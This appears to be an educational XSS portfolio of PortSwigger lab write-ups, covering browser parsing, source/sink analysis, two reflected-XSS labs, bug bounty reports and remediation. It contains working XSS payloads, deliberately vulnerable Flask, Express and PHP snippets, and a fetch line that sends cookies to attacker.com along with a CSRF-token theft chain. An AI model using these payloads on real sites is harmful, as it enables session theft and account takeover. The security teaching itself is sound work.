

XSS Research Portfolio

Cross-Site Scripting From Fundamentals to Exploitation

Author: Parth Singh

Date: 5th May 2026

Focus: Penetration Testing
/ AppSec / Security Research

Platform: PortSwigger Web Security Academy

A researcher-level collection of XSS write-ups covering theory, methodology, exploitation chains, and remediation

[!] All techniques documented here are for educational purposes and authorized security testing only. [!]

Contents

1	XSS Fundamentals	12
1.1	What is XSS Really?	12
1.2	How Browsers Parse HTML & JavaScript	12
1.2.1	The HTML Parser	13
1.2.2	The JavaScript Engine	13
1.3	The Source & Sink Model	13
1.4	The Three Types of XSS	14
1.4.1	Reflected XSS	14
1.4.2	Stored XSS	15
1.4.3	DOM-Based XSS	15
1.5	Why XSS is Dangerous Beyond <code>alert(1)</code>	16
1.6	Common Vulnerable Code Patterns	16
2	Lab 01 Reflected XSS into HTML Context	18
2.1	Lab Objective	18
2.2	Recon & Methodology	18
2.2.1	Step 1 Map the Application	18
2.2.2	Step 2 Observe Normal Behaviour	19
2.2.3	Step 3 Test for Encoding	19
2.3	Finding the Injection Point	19
2.4	Crafting the Payload	19
2.5	Source-Level Analysis	20
2.6	Remediation	21
2.7	Bug Bounty Report	21
2.8	Key Takeaways	22
3	Lab 02 Reflected XSS into Attribute Context	23
3.1	What's Different From Lab 01?	23
3.2	Recon & Methodology	23
3.2.1	Observe Where Input is Reflected	24
3.2.2	Test Each Reflection Point	24
3.3	Understanding the Context	24
3.4	Why Lab 01's Payload Fails	24
3.5	Crafting the Payload	25
3.5.1	Event Handlers as Execution Vectors	25
3.5.2	Building the Payload	25
3.5.3	No-Interaction Payload (Higher Severity)	25
3.6	Source-Level Analysis	26
3.7	Remediation	26

3.8	Bug Bounty Report	27
3.9	Key Takeaways	28
4	Lab 03 – Stored XSS into HTML Context with Nothing Encoded	29
4.1	Lab Objective	29
4.2	Stored vs Reflected – Why This Is More Dangerous	29
4.3	Recon & Methodology	30
4.3.1	Step 1 – Map Data Storage Points	30
4.3.2	Step 2 – Submit a Normal Comment and Observe	30
4.3.3	Step 3 – Test for Encoding	30
4.4	Finding the Injection Point	31
4.5	Payload – From alert() to Cookie Theft	31
4.5.1	Basic PoC (Lab Objective)	31
4.5.2	Real-World Escalation	31
4.6	The Full Exploit Chain	32
4.7	Why This Is Wormable	33
4.8	Source-Level Analysis	33
4.9	Remediation	34
4.10	Bug Bounty Report	35
4.11	Key Takeaways	36
5	Lab 04 – Stored XSS into Anchor href Attribute	37
5.1	Lab Objective	37
5.2	What is New in This Lab?	37
5.3	Recon & Methodology	38
5.3.1	Step 1 – Recall the Website Field from Lab 03	38
5.3.2	Step 2 – Test for Encoding	38
5.3.3	Step 3 – Ask What IS Allowed Through	38
5.4	Understanding the Context – URL Sinks	39
5.4.1	How href Works at the Parser Level	39
5.4.2	URL Sinks Beyond href	39
5.5	Why Previous Payloads Fail Here	39
5.6	The javascript: URI – Encoding Variants	40
5.7	Crafting the Payload	40
5.7.1	Lab PoC	40
5.7.2	Real-World Escalation – Cookie Theft on Click	41
5.8	Execution Trace	41
5.9	Source-Level Analysis	41
5.10	Remediation	42
5.11	URL Sinks – Code Review Red Flags	43
5.12	Bug Bounty Report	44
5.13	Key Takeaways	45
6	Lab 05 – Reflected XSS into a JavaScript String	46
6.1	Lab Objective	46
6.2	What is New in This Lab?	46
6.3	Recon & Methodology	47
6.3.1	Step 1 – View Page Source, Not Rendered Page	47
6.3.2	Step 2 – Test Encoding	47

6.4	Understanding the JavaScript String Context	47
6.4.1	What the JavaScript Parser Sees	48
6.5	Why Previous Payloads Fail	48
6.6	Breaking Out of the JavaScript String	48
6.7	Crafting the Payload	49
6.7.1	Variant 1 – The Subtraction Trick (Cleanest)	49
6.7.2	Variant 2 – Statement Termination	49
6.7.3	Variant 3 – Template Literal Injection (if backtick string)	50
6.8	Full Execution Trace	50
6.9	Source-Level Analysis	50
6.10	JavaScript String Context Variations	51
6.11	Remediation	52
6.12	Bug Bounty Report	53
6.13	Key Takeaways	54
7	Lab 06 – Reflected XSS into JS String with Backslash Escaped Quotes	55
7.1	Lab Objective	55
7.2	What the Developer Changed	55
7.3	The Backslash Escape Bypass	56
7.4	Payload	56
7.5	Source-Level Analysis	56
7.6	Key Takeaways	57
8	Lab 07 – Reflected XSS in JS String with All Quotes and Backslash Escaped	58
8.1	Lab Objective	58
8.2	What Is Blocked Now	58
8.3	The Insight – We Don't Need to Break Out of the String	59
8.4	Why This Works – HTML Parser Precedence	59
8.5	Payload	59
8.6	Source-Level Analysis	60
8.7	Key Takeaways	60
9	Lab 08 – Stored XSS into onclick with Quotes and Backslash Escaped	61
9.1	Lab Objective	61
9.2	The Injection Context	61
9.3	The Three Parsing Layers	62
9.4	HTML Entity Bypass	62
9.5	Payload	62
9.6	Why Backslash Escaping Doesn't Help Here	63
9.7	Source-Level Analysis	63
9.8	Key Takeaways	64
10	Lab 09 – Reflected XSS in a Template Literal	65
10.1	Lab Objective	65
10.2	What Is Blocked	65
10.3	The Template Literal Expression Syntax	66
10.4	Payload – Expression Injection Without Breakout	66
10.5	Why This Attack Is Unique	66

10.6 Source-Level Analysis	67
10.7 Key Takeaways	67
11 Lab 10 – Reflected XSS Protected by CSP with Dangling Markup	68
11.1 Lab Objective	68
11.2 What is a Dangling Markup Attack?	68
11.3 The CSP Header	69
11.4 The Injection Point	69
11.5 Payload – Dangling Image Tag	69
11.6 What the Attacker Receives	70
11.7 Why This Bypasses CSP	70
11.8 Remediation	70
11.9 Key Takeaways	71
12 Lab 11 – Reflected XSS Protected by CSP with CSP Bypass	72
12.1 Lab Objective	72
12.2 The CSP Header	72
12.3 The Vulnerability – Reflected Value in CSP Header	73
12.4 Injecting unsafe-inline via the token Parameter	73
12.5 Full Exploit URL	73
12.6 Why script-src-elem Takes Precedence	74
12.7 Source-Level Analysis	74
12.8 Broader Implications – Header Injection	74
12.9 Key Takeaways	75
13 Exploit Chains – Going Beyond alert(1)	76
13.1 Overview	76
13.2 Chain 1 – XSS to Account Takeover via Token Theft	76
13.2.1 Scenario	76
13.2.2 Why This Bypasses HttpOnly	77
13.3 Chain 2 – XSS Bypassing CSRF Protection	77
13.3.1 Scenario	77
13.3.2 Why CSRF Tokens Don't Stop XSS	77
13.4 Chain 3 – Stored XSS Worm	78
13.4.1 Scenario	78
13.4.2 Real-World Reference	78
13.5 Chain 4 – XSS to Internal Network Scanning	78
13.5.1 Scenario	78
13.5.2 Impact	79
13.6 Chain 5 – XSS in Electron to RCE	79
13.6.1 Scenario	79
13.6.2 Why Electron XSS is Critical	80
13.6.3 Mitigation	80
14 Lab 12 – DOM XSS in document.write Sink via location.search	81
14.1 Lab Objective	81
14.2 What is DOM XSS – The Shift in Thinking	81
14.3 Finding the Vulnerability – Reading JS Source	82
14.4 Tracing the Data Flow	82

14.5	Why SVG Instead of script Tag?	83
14.6	Payload	83
14.7	Source-Level Analysis	83
14.8	Key Takeaways	84
15	Lab 13 – DOM XSS in innerHTML Sink via location.search	85
15.1	Lab Objective	85
15.2	The Vulnerable Code	85
15.3	innerHTML vs document.write	86
15.4	Payload – img onerror Handler	86
15.5	Remediation	86
15.6	Key Takeaways	87
16	Lab 14 – DOM XSS in jQuery Anchor href Attribute via location.search	88
16.1	Lab Objective	88
16.2	The Vulnerable Code	88
16.3	Payload	89
16.4	Why This is DOM XSS Not Stored/Reflected	89
16.5	Remediation	89
16.6	Key Takeaways	90
17	Lab 15 – DOM XSS in jQuery Selector Sink via hashchange Event	91
17.1	Lab Objective	91
17.2	The Vulnerable Code	91
17.3	Payload	92
17.4	Delivery via iframe (Exploiting hashchange Without User Interaction)	92
17.5	Remediation	92
17.6	Key Takeaways	93
18	Lab 16 – DOM XSS in AngularJS Expression via ng-app	94
18.1	Lab Objective	94
18.2	What is Client-Side Template Injection?	94
18.3	Finding the Vulnerability	95
18.4	Testing for CSTI	95
18.5	Payload	95
18.6	Why This is Different from Other XSS	95
18.7	Remediation	96
18.8	Key Takeaways	96
19	Lab 17 – Reflected DOM XSS	97
19.1	Lab Objective	97
19.2	What is Reflected DOM XSS?	97
19.3	Finding the Vulnerability	97
19.4	Crafting the Payload	98
19.5	Remediation	99
19.6	Key Takeaways	99
20	Lab 18 – Stored DOM XSS	100
20.1	Lab Objective	100

20.2	The Vulnerability Chain	100
20.3	Finding the Vulnerability	100
20.4	Payload	101
20.5	Why This is Stored DOM XSS Not Regular Stored XSS	101
20.6	Remediation	102
20.7	Key Takeaways	102
21	Lab 19 – Exploiting Cross-Site Scripting to Steal Cookies	103
21.1	Lab Objective	103
21.2	The Setup	103
21.3	Step 1 – Generate a Collaborator URL	103
21.4	Step 2 – Submit the Cookie-Stealing Payload	104
21.5	Step 3 – Wait for the Victim	104
21.6	Step 4 – Capture and Replay the Cookie	104
21.7	Step 5 – Session Replay – Account Takeover	105
21.8	Why HttpOnly Matters Here	105
21.9	Key Takeaways	105
22	Lab 20 – Exploiting XSS to Capture Passwords	106
22.1	Lab Objective	106
22.2	The Technique – Injecting a Fake Form to Trigger Autocomplete	106
22.3	Payload	107
22.4	Why This Works Even With HttpOnly Cookies	107
22.5	Real-World Impact	107
22.6	Remediation	108
22.7	Key Takeaways	108
23	Lab 21 – Exploiting XSS to Perform CSRF	109
23.1	Lab Objective	109
23.2	Why XSS Defeats CSRF Protection	109
23.3	The CSRF Bypass Payload	110
23.4	Step by Step	110
23.5	Why This is Particularly Dangerous	110
23.6	Remediation	111
23.7	Key Takeaways	111
24	Lab 22 – Reflected XSS with Event Handlers and href Blocked	112
24.1	Lab Objective	112
24.2	What Is Blocked	112
24.3	The SVG animate Technique	113
24.4	Why This Bypasses the Filter	113
24.5	Key Takeaways	113
25	Lab 23 – Reflected XSS in Canonical Link Tag	114
25.1	Lab Objective	114
25.2	The Injection Context	114
25.3	The accesskey Technique	115
25.4	Significance for Security Research	115
25.5	Key Takeaways	115

26 Lab 24 – Reflected XSS with Some SVG Markup Allowed	116
26.1 Lab Objective	116
26.2 Discovering What Is Allowed	116
26.3 Payload Using animatettransform	117
26.4 Key Takeaways	117
27 Lab 25 – DOM XSS via Web Messages	118
27.1 Lab Objective	118
27.2 What is postMessage?	118
27.3 The Vulnerable Code	119
27.4 Exploit – Delivery via iframe	119
27.5 Remediation	119
27.6 Key Takeaways	120
28 Lab 26 – DOM XSS via Web Messages and JavaScript URL	121
28.1 Lab Objective	121
28.2 The Vulnerable Code	121
28.3 Payload – Bypassing the Weak Check	122
28.4 Key Takeaways	122
29 Lab 27 – DOM XSS via HTML5 Web Storage Interaction	123
29.1 Lab Objective	123
29.2 The Vulnerability Chain	123
29.3 Exploit Delivery	124
29.4 Key Takeaways	124
30 Lab 28 – Reflected XSS Protected by Very Strict CSP via Clickjacking	125
30.1 Lab Objective	125
30.2 The CSP	125
30.3 The Technique	126
30.4 Key Takeaways	126
31 Lab 29 – Reflected XSS with Known Broken Hash Nonce	127
31.1 Lab Objective	127
31.2 Hash-Based CSP	127
31.3 Exploiting a Leaked Nonce	128
31.4 Key Takeaways	128
32 Lab 30 – Reflected XSS via PDF Viewer Plugin	129
32.1 Lab Objective	129
32.2 The Vulnerability	129
32.3 Payload	130
32.4 Why This is Significant	130
32.5 Methodology Note – Testing Embedded Content	130
32.6 Key Takeaways	130
33 CVE Analysis – Real-World XSS Vulnerabilities Dissected	131
33.1 Overview	131
33.2 CVE-2021-32682 – eFinder XSS via File Name	131

33.2.1	Application Background	131
33.2.2	Vulnerability Summary	132
33.2.3	Root Cause	132
33.2.4	The Exploit	132
33.2.5	Why This Mattered at Scale	133
33.2.6	The Fix	133
33.2.7	Lessons That Generalise	133
33.3	CVE-2022-35915 – Tiny File Manager Reflected XSS	134
33.3.1	Application Background	134
33.3.2	Vulnerability Summary	134
33.3.3	Root Cause	134
33.3.4	The Exploit	134
33.3.5	Why Lab Knowledge Maps to Real CVEs	134
33.3.6	The Fix	135
33.4	CVE-2023-24278 – Squidex CMS Stored XSS via Rich Text Editor	135
33.4.1	Application Background	135
33.4.2	Vulnerability Summary	135
33.4.3	Root Cause	135
33.4.4	The Exploit	136
33.4.5	The Fix	136
33.4.6	The DOMPurify Standard	136
33.4.7	Lessons That Generalise	137
34	WAF Bypass Techniques	138
34.1	Overview	138
34.2	Category 1 – Case Variation	138
34.3	Category 2 – Tag and Attribute Obfuscation	139
34.3.1	Extra Whitespace and Characters	139
34.3.2	Null Bytes and Special Characters	139
34.4	Category 3 – HTML Entity Encoding	139
34.5	Category 4 – Alternative Event Handlers	140
34.6	Category 5 – JavaScript Encoding Inside Event Handlers	140
34.7	Category 6 – Protocol-Level Bypasses	141
34.7.1	Data URI	141
34.7.2	javascript: Encoding Variants	141
34.8	Category 7 – Context-Specific Bypasses	141
34.8.1	Breaking Out of Quoted Attributes Without Quotes	141
34.8.2	Template Literal Function Calls	141
34.9	Category 8 – WAF Bypass via Chunked/Encoded Requests	142
34.10	The Key Lesson – WAFs Are Not a Fix	142
35	Burp Suite Methodology for XSS Testing	143
35.1	Overview	143
35.2	Setup and Configuration	143
35.2.1	Scope Configuration	143
35.2.2	Intercept and Logging	144
35.3	Phase 1 – Reconnaissance and Mapping	144
35.3.1	Step 1 – Spider the Application	144
35.3.2	Step 2 – Manually Walk the Application	144

35.3.3	Step 3 – Build an Input Inventory	144
35.4	Phase 2 – Manual Testing	145
35.4.1	Step 4 – Probe Each Input Point	145
35.4.2	Step 5 – Use Burp Repeater for Payload Testing	145
35.4.3	Step 6 – Context-Aware Payload Selection	146
35.5	Phase 3 – Automated Scanning	146
35.5.1	Using Burp Active Scanner	146
35.5.2	Burp Scanner Limitations	146
35.6	Phase 4 – DOM XSS Testing with DOM Invader	147
35.6.1	Manual DOM XSS Testing Without DOM Invader	147
35.7	Phase 5 – Exploitation and Reporting	147
35.7.1	Escalating from PoC to Impact	147
35.7.2	Evidence Collection	148
35.7.3	Writing the Burp Report	148
35.7.4	Manual Report Structure	148
35.8	Burp Extensions for XSS Testing	149
36	Advanced DOM XSS – Prototype Pollution and DOM Clobbering	150
36.1	Overview	150
36.2	Prototype Pollution to XSS	150
36.2.1	What is Prototype Pollution?	150
36.2.2	How Prototype Pollution Leads to XSS	150
36.2.3	Finding Prototype Pollution Gadgets	151
36.2.4	Testing for Prototype Pollution	151
36.2.5	Remediation	152
36.3	DOM Clobbering	152
36.3.1	What is DOM Clobbering?	152
36.3.2	Exploiting DOM Clobbering	153
36.3.3	Why This Matters	153
36.3.4	Key DOM Clobbering Pairs	153
36.3.5	Remediation	154
37	XSS in Modern Frameworks	155
37.1	Overview	155
37.2	React	155
37.2.1	Default Behaviour – Safe	155
37.2.2	dangerouslySetInnerHTML – The Escape Hatch	155
37.2.3	href with User Data – Not Auto-Escaped	156
37.2.4	eval and Template Literals in React	156
37.3	Angular	157
37.3.1	Default Behaviour – Safe	157
37.3.2	bypassSecurityTrust – The Dangerous API	157
37.3.3	Angular Template Injection (CSTI) – Historical	157
37.4	Vue.js	157
37.4.1	Default Behaviour – Safe	157
37.4.2	v-html – The Dangerous Directive	158
37.4.3	Framework Security Summary	158
38	XSS Payload Reference	159

38.1 Overview	159
38.2 HTML Data State Payloads	159
38.3 HTML Attribute Context Payloads	160
38.4 JavaScript String Context Payloads	160
38.5 URL Context Payloads	161
38.6 Cookie Theft Payloads	161
38.7 Keylogger Payloads	162
38.8 CSP Bypass Payloads	162
39 Remediation Reference – Secure Coding Patterns	163
39.1 The Four Rules of XSS Prevention	163
39.2 Python – Complete Secure Patterns	163
39.3 Node.js – Complete Secure Patterns	164
39.4 PHP – Complete Secure Patterns	165
39.5 HTTP Security Headers Reference	166
40 Glossary of Key Terms	168
41 Lab 10 – Supplement: Source Analysis and Report	171
41.1 Source-Level Analysis	171
41.2 Bug Bounty Report	172
42 Lab 11 – Supplement: Remediation and Report	173
42.1 Remediation	173
42.2 Bug Bounty Report	174
43 Lab 12 – Supplement: Remediation and Report	176
43.1 Remediation	176
43.2 Bug Bounty Report	177
44 Labs 13-18 – Supplement: Source Analysis and Reports	178
44.1 Lab 13 – Source-Level Analysis and Bug Bounty Report	178
44.2 Lab 14 – Source-Level Analysis and Bug Bounty Report	179
44.3 Lab 15 – Source-Level Analysis and Bug Bounty Report	179
44.4 Lab 16 – Source-Level Analysis and Bug Bounty Report	180
44.5 Lab 17 – Source-Level Analysis and Bug Bounty Report	180
44.6 Lab 18 – Source-Level Analysis and Bug Bounty Report	181
45 Labs 19-21 – Supplement: Source Analysis and Reports	183
45.1 Lab 19 – Source-Level Analysis	183
45.2 Lab 20 – Source-Level Analysis	184
45.3 Lab 21 – Source-Level Analysis	185
46 Labs 22-30 – Supplement: Source Analysis and Reports	187
46.1 Lab 22 – Source-Level Analysis and Bug Bounty Report	187
46.2 Lab 23 – Source-Level Analysis and Bug Bounty Report	188
46.3 Lab 24 – Source-Level Analysis and Bug Bounty Report	189
46.4 Lab 25 – Source-Level Analysis and Bug Bounty Report	189
46.5 Lab 26 – Source-Level Analysis and Bug Bounty Report	190
46.6 Lab 27 – Source-Level Analysis and Bug Bounty Report	191

46.7 Lab 28 – Source-Level Analysis and Bug Bounty Report	192
46.8 Lab 29 – Source-Level Analysis and Bug Bounty Report	193
46.9 Lab 30 – Source-Level Analysis and Bug Bounty Report	194
47 XSS Testing Checklist	195
47.1 Overview	195
47.2 Phase 1 – Reconnaissance Checklist	195
47.2.1 Application Mapping	195
47.2.2 Input Inventory	195
47.3 Phase 2 – Injection Point Testing Checklist	196
47.3.1 Step 1 – Confirm Reflection	196
47.3.2 Step 2 – Determine Encoding	196
47.3.3 Step 3 – Context Identification	197
47.4 Phase 3 – DOM XSS Checklist	197
47.5 Phase 4 – Stored XSS Checklist	197
47.6 Phase 5 – CSP Analysis Checklist	198
47.7 Phase 6 – Exploitation Checklist	198
47.8 Phase 7 – Reporting Checklist	198
48 XSS Interview Questions and Answers	199
48.1 Overview	199
48.2 Fundamentals	199
48.2.1 Q: What is the difference between reflected, stored, and DOM XSS?	199
48.2.2 Q: What is the Same-Origin Policy and how does XSS bypass it?	199
48.2.3 Q: Why is output encoding better than input sanitisation?	200
48.3 Technical Depth	200
48.3.1 Q: How does the HTML parser interact with the JavaScript engine?	200
48.3.2 Q: What is the Source-Sink model and why does it matter for DOM XSS?	200
48.3.3 Q: How can XSS bypass a Content Security Policy?	201
48.3.4 Q: What is prototype pollution and how can it lead to XSS?	201
48.4 AppSec Engineer Questions	201
48.4.1 Q: How would you add XSS protection to a legacy PHP application?	201
48.4.2 Q: A developer says CSP protects against XSS. How do you respond?	202
49 Further Research Resources	203
49.1 Essential Reading	203
49.1.1 Primary Research Sources	203
49.1.2 Recommended Labs and Practice Platforms	203
49.1.3 Tools	204
49.1.4 Key Papers and Write-Ups to Read	204
49.2 Certification Paths	205
49.3 Community and Bug Bounty	205
Appendix – Quick Reference	207

Chapter 1

XSS Fundamentals

1.1 What is XSS Really?

Cross-Site Scripting (XSS) is a **client-side code injection vulnerability** where an attacker injects malicious scripts into web pages that are then executed by a victim's browser.

[*] Root Cause

XSS exists because of a fundamental **trust problem**: browsers cannot distinguish between JavaScript the developer intended to run, and JavaScript an attacker injected into the page.

When a browser receives HTML, it parses it and executes any JavaScript it finds regardless of where that JavaScript came from. If user input ends up inside a page without proper encoding or sanitization, the browser will execute it as code. This is not a bug in the browser it is how the web was designed.

The Simple Mental Model

```
User Input -> Application -> HTML Page -> Browser Renders ->
JavaScript Executes
```

If any step in this chain fails to treat user input as *data* rather than *code*, XSS is possible.

1.2 How Browsers Parse HTML & JavaScript

Understanding browser parsing is what separates someone who runs scanners from someone who finds XSS manually in complex applications.

1.2.1 The HTML Parser

When a browser receives an HTTP response, it passes content through the **HTML parser** which builds the **Document Object Model (DOM)**. The parser operates in different **parsing states** (tokenizer states). The state determines how characters are interpreted:

Parser State	Example Context	How < is treated
Data state	HERE	Starts a new tag
Attr value (double-quoted)		Treated as literal text
Script data state	<script>HERE</script>	Raw text
RCDATA state	<textarea>HERE</textarea>	Limited parsing

[!] Warning

The same payload behaves **differently** depending on which parser state your injection lands in. Context is everything.

1.2.2 The JavaScript Engine

Once the HTML parser encounters a `<script>` tag, it hands off content to the **JavaScript engine** (e.g., V8 in Chrome). This creates interesting XSS edge cases inside `<script>` blocks:

```
<script>
  var name = "USER_INPUT_HERE";
</script>
```

If input is `" ; alert(1) ; //`, the rendered JavaScript becomes:

```
var name = " ; alert(1) ; //";
```

The HTML parser doesn't care it sees no HTML tags. But the JS engine parses it as three separate statements.

1.3 The Source & Sink Model

This model is the foundation of **DOM XSS analysis** and is used in code review and static analysis tools.

Sources Where Attacker Data Enters

```
1 document.URL
2 document.location
3 document.location.search // ?query=ATTACKER_CONTROLLED
4 document.location.hash // #ATTACKER_CONTROLLED
5 document.referrer
6 window.name
7 postMessage data
```

Sinks Where Data Causes Execution

```
1 // HTML sinks
2 element.innerHTML = data;
3 element.outerHTML = data;
4 document.write(data);
5
6 // JavaScript execution sinks
7 eval(data);
8 setTimeout(data, 1000);
9 new Function(data)();
10
11 // URL-based sinks
12 element.src = data;
13 location.href = data; // javascript: URI XSS
14
15 // jQuery sinks (legacy)
16 $(data);
17 $.html(data);
```

Source → Sink Flow

SOURCE → [sanitization?] → SINK
If sanitization is missing or bypassable → **XSS**

1.4 The Three Types of XSS

1.4.1 Reflected XSS

User input is immediately reflected back in the HTTP response without being stored.

[X] Vulnerable Python/Flask

```
@app.route('/search')
def search():
    query = request.args.get('q', '')
```

```
return f"<p>Results for: {query}</p>" # No encoding!
```

Malicious URL:

```
https://example.com/search?q=<script>alert(document.cookie)</script>
```

1.4.2 Stored XSS

Malicious input is stored server-side and reflected to other users no social engineering needed.

[X] Vulnerable Node.js/Express

```
app.post('/comment', (req, res) => {
  db.query('INSERT INTO comments (text) VALUES (?)', [req.body.
    text]);
});

app.get('/post/:id', (req, res) => {
  const comments = db.query('SELECT text FROM comments...');
  res.send('<div>${comments.map(c => c.text).join(',')}</div>');
});
```

[!] Warning

Stored XSS is **wormable**. The Samy worm (MySpace, 2005) infected over 1 million profiles in under 20 hours using stored XSS.

1.4.3 DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript. The server never sees the payload.

[X] Vulnerable JavaScript

```
// Source: location.hash
var userInput = decodeURIComponent(location.hash.slice(1));

// Sink: innerHTML DANGEROUS
document.getElementById('output').innerHTML = userInput;
```

```
https://example.com/page#<img src=x onerror=alert(1)>
```

1.5 Why XSS is Dangerous Beyond alert(1)

`alert(1)` is just a proof of concept. Real XSS exploitation goes much further:

```
1 fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(  
    document.cookie));
```

```
1 fetch('/account/settings')  
2   .then(r => r.text())  
3   .then(html => {  
4     const token = html.match(/csrf_token" value="([^\"]+)/)[1];  
5     fetch('/account/change-email', {  
6       method: 'POST',  
7       body: 'email=attacker@evil.com&csrf_token=${token}'  
8     });  
9   });
```

```
1 // In vulnerable Electron app with nodeIntegration enabled  
2 require('child_process').exec('calc.exe');
```

Electron XSS = RCE

XSS in Electron apps with `nodeIntegration: true` allows full **Remote Code Execution** on the victim's machine. These are rated **CRITICAL**.

1.6 Common Vulnerable Code Patterns

[X] Vulnerable Python

```
return f"<p>Hello, {username}</p>"
```

[OK] Safe Python

```
from markupsafe import escape  
return f"<p>Hello, {escape(username)}</p>"
```

[X] Vulnerable PHP

```
echo "<p>Hello, " . $_GET['name'] . "</p>";
```

[OK] Safe PHP

```
echo "<p>Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "</p>";
```

[X] Vulnerable DOM XSS JavaScript

```
element.innerHTML = location.search; // NEVER do this
```

[OK] Safe JavaScript

```
element.textContent = location.search; // Use textContent for  
plain text
```

Chapter 2

Lab 01 Reflected XSS into HTML Context

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, html-context, portswigger

2.1 Lab Objective

Execute `alert()` in the victim's browser by exploiting a reflected XSS vulnerability in the search functionality where **no encoding is applied**.

2.2 Recon & Methodology

2.2.1 Step 1 Map the Application

Walk the application before touching any payload.

Feature	Input?	Notes
Search box	Yes	Query appears in URL + page
Product pages	No	URL has product ID only
Navigation	No	Static links

2.2.2 Step 2 Observe Normal Behaviour

```
Search input:  hello
URL becomes:   /search?search=hello
Page renders:  <p>0 search results for 'hello'</p>
```

Key observation: Input `hello` appears reflected back in the HTML response first signal of potential reflected XSS.

2.2.3 Step 3 Test for Encoding

```
Input:          <hello>
Expected safe:  &lt;hello&gt;    <- encoded (not vulnerable)
Actual:         <hello>        <- raw HTML (VULNERABLE!)
```

2.3 Finding the Injection Point

```
{1stlisting}[style=dracula-nonumbers]
GET /search?search=hello HTTP/2
Host: [lab-id].web-security-academy.net

HTTP/2 200 OK
<section class="blog-list">
  <p>0 search results for 'hello'</p>
</section>
\end{1stlisting}
```

Injection Context

Parser state: HTML Data state (inside `<p>` body)

Angle brackets encoded? No

Implication: Any `<tag>` we inject will be parsed as real HTML

2.4 Crafting the Payload

Since we are in the HTML data state with no encoding, the simplest payload works directly:

```
<script>alert(document.domain)</script>
```

```
/search?search=<script>alert(document.domain)</script>
```

Rendered HTML:

```
<p>0 search results for '<script>alert(document.domain)</script>'</p>
```

Execution trace:

1. HTML parser hits `<script>` tag
2. Switches to **Script data state**
3. Collects everything until `</script>`
4. Passes `alert(document.domain)` to JS engine
5. Alert box fires [OK]

2.5 Source-Level Analysis

[X] Vulnerable Python/Flask

```
1 @app.route('/search')
2 def search():
3     query = request.args.get('search', '')
4     # VULNERABLE direct f-string interpolation into HTML
5     html = f"<p>0 search results for '{query}'</p>"
6     return html
```

[X] Vulnerable Node.js/Express

```
1 app.get('/search', (req, res) => {
2     const query = req.query.search || '';
3     // VULNERABLE template literal with no encoding
4     res.send('<p>0 search results for '${query}'</p>');
5 });
```

[X] Vulnerable PHP

```
1 $query = $_GET['search'] ?? '';
2 // VULNERABLE echoing user input directly
3 echo "<p>0 search results for " . $query . "'</p>";
```

2.6 Remediation

[OK] Safe Python/Flask

```
1 from markupsafe import escape
2
3 @app.route('/search')
4 def search():
5     query = request.args.get('search', '')
6     safe_query = escape(query) # encodes < > & " '
7     html = f"<p>0 search results for '{safe_query}'</p>"
8     return html
```

[OK] Safe PHP

```
1 $query = $_GET['search'] ?? '';
2 $safe = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
3 echo "<p>0 search results for '" . $safe . "'</p>";
```

2.7 Bug Bounty Report

Title: Reflected Cross-Site Scripting (XSS) in Search Functionality

Severity: **HIGH** **CVSS:** 7.4

Endpoint: GET /search?search=[PAYLOAD]

Description

The `search` parameter reflects user-supplied input directly into the HTML response without sanitization or output encoding. An attacker can inject arbitrary HTML and JavaScript that executes in the context of the victim's browser session.

Steps to Reproduce

1. Navigate to the search functionality
2. Submit payload: `<script>alert(document.domain)</script>`
3. Observe alert dialog displaying the application domain

Impact

Session cookie theft, account takeover, CSRF bypass, credential harvesting, keylogging.

Remediation

Apply HTML entity encoding using `escape()` (Python), `htmlspecialchars()` (PHP), or auto-escaping template engine.

2.8 Key Takeaways

Lesson	Detail
Recon before payload	Understand the app, find inputs, observe before injecting
Context is everything	HTML data state = simplest XSS, no breakout needed
Confirm reflection first	Verify input appears before trying XSS
Test for encoding	Send <code><hello></code> if reflected raw, vulnerable
<code>alert(document.domain)</code>	Proves execution context – use in real reports

Chapter 3

Lab 02 Reflected XSS into Attribute Context

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, attribute-context, event-handlers

3.1 What's Different From Lab 01?

Factor	Lab 01	Lab 02
Injection context	HTML data state	HTML attribute value
Angle brackets encoded	No	Yes
Script tag injection	Works	Blocked
Required technique	Direct <code><script></code>	Attribute breakout + event handler

The developer encoded `<` and `>` but this is **not sufficient** when input lands inside an attribute value.

3.2 Recon & Methodology

3.2.1 Observe Where Input is Reflected

This time, check the **full HTML response**, not just visible page text:

```
<!-- Body text -->
<p>0 search results for 'hello'</p>

<!-- Inside attribute value -->
<input type="text" placeholder="Search..." value="hello">
```

3.2.2 Test Each Reflection Point

```
Input:      <hello>
Body:       &lt;hello&gt;      <- encoded, safe
Attribute:  <input value="&lt;hello&gt;">  <- also encoded
```

```
Input:      "hello
Response:   <input value=""hello">      <- quote NOT encoded!
           VULNERABLE
```

3.3 Understanding the Context

Key Insight Attribute Value State

We are inside `<input value="INJECTION">`. The HTML parser is in the **attribute value (double-quoted) state**.

In this state: `<` and `>` are literal text. But an unencoded `"` **closes the attribute** and returns the parser to tag open state where we can inject event handler attributes.

3.4 Why Lab 01's Payload Fails

`<script>alert(1)</script>` renders as:

```
<input value="&lt;script&gt;alert(1)&lt;/script&gt;">
```

Displayed as text. The parser never enters a script state. **No execution.**

3.5 Crafting the Payload

3.5.1 Event Handlers as Execution Vectors

```
onclick="javascript here"      -> executes on mouse click
onmouseover="javascript here"  -> executes on mouse hover
onfocus="javascript here"     -> executes when focused
onerror="javascript here"      -> executes on resource error
```

These are **attributes** they contain raw JavaScript. No `<script>` tag needed.

3.5.2 Building the Payload

We start inside: `<input value="INJECTION">`

1. Close the attribute: `"`
2. Inject event handler: `onmouseover="alert(document.domain)"`

```
" onmouseover="alert(document.domain)"
```

Rendered HTML:

```
<input value="" onmouseover="alert(document.domain)">
```

The original `">` from the template closes our injected attribute perfectly. [OK]

3.5.3 No-Interaction Payload (Higher Severity)

```
" onfocus="alert(document.domain)" autofocus=""
```

Rendered HTML:

```
<input value="" onfocus="alert(document.domain)" autofocus="">
```

